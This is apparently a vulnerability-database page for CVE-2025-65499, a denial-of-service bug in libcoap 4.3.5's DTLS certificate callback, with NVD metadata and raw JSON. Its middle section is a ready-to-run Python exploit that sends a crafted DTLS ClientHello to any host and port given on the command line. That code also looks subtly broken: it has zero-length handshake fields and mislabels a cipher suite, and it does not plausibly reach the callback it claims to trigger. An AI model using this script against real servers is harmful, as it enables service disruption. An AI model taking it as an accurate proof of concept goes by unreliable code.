Security Vulnerability Report
中文
CVE-2025-65499 CVSS 4.3 MEDIUM

CVE-2025-65499

Published: 2025-11-24 14:15:48
Last Modified: 2025-12-01 16:29:54

Description

Array index error in tls_verify_call_back() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS handshake that triggers SSL_get_ex_data_X509_STORE_CTX_idx() to return -1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libcoap:libcoap:4.3.5:*:*:*:*:*:*:* - VULNERABLE
libcoap (OISM) == 4.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65499 PoC - libcoap DTLS Array Index Error This PoC demonstrates triggering the array index error in libcoap's TLS verification callback. """ import socket import struct import random def create_dtls_client_hello(): """Create a crafted DTLS ClientHello to trigger the vulnerability.""" # DTLS record layer header content_type = 0x16 # Handshake version = 0xfeff # DTLS 1.0 (legacy) epoch = 0 sequence_number = 0 # Handshake header msg_type = 0x01 # ClientHello length = 0 message_seq = 0 fragment_offset = 0 fragment_length = 0 # ClientHello body - minimal structure client_version = 0xfeff # DTLS 1.0 random_bytes = bytes(random.getrandbits(8) for _ in range(32)) session_id = bytes([0]) cookie = bytes([0]) cipher_suites = struct.pack('>HH', 0x002f, 0xc02c) # TLS_RSA_WITH_AES_128_GCM_SHA256 compression_methods = bytes([1, 0]) # null compression extensions = bytes([0]) # minimal extension client_hello = struct.pack('>H', client_version) client_hello += random_bytes client_hello += bytes([len(session_id)]) + session_id client_hello += bytes([len(cookie)]) + cookie client_hello += struct.pack('>H', len(cipher_suites)) + cipher_suites client_hello += bytes([len(compression_methods)]) + compression_methods client_hello += struct.pack('>H', len(extensions)) + extensions handshake = bytes([msg_type]) handshake += struct.pack('>I', length)[1:] # 3 bytes handshake += struct.pack('>H', message_seq) handshake += struct.pack('>I', fragment_offset)[1:] # 3 bytes handshake += struct.pack('>I', fragment_length)[1:] # 3 bytes handshake += client_hello record = bytes([content_type]) record += struct.pack('>H', version) record += struct.pack('>H', epoch) record += struct.pack('>Q', sequence_number)[2:] # 6 bytes record += struct.pack('>H', len(handshake)) record += handshake return record def exploit(target_host, target_port): """Send crafted DTLS packet to trigger vulnerability.""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_dtls_client_hello() print(f"[*] Sending crafted DTLS ClientHello to {target_host}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") try: sock.sendto(payload, (target_host, target_port)) print("[+] Payload sent successfully") print("[*] Target should trigger SSL_get_ex_data_X509_STORE_CTX_idx() returning -1") print("[*] This causes array index error in tls_verify_call_back()") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_host> <target_port>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65499", "sourceIdentifier": "[email protected]", "published": "2025-11-24T14:15:47.643", "lastModified": "2025-12-01T16:29:53.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Array index error in tls_verify_call_back() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS handshake that triggers SSL_get_ex_data_X509_STORE_CTX_idx() to return -1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcoap:libcoap:4.3.5:*:*:*:*:*:*:*", "matchCriteriaId": "774891BC-C4E5-404A-B2C7-8603769C5B81"}]}]}], "references": [{"url": "https://github.com/obgm/libcoap/issues/1747", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/obgm/libcoap/pull/1750", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}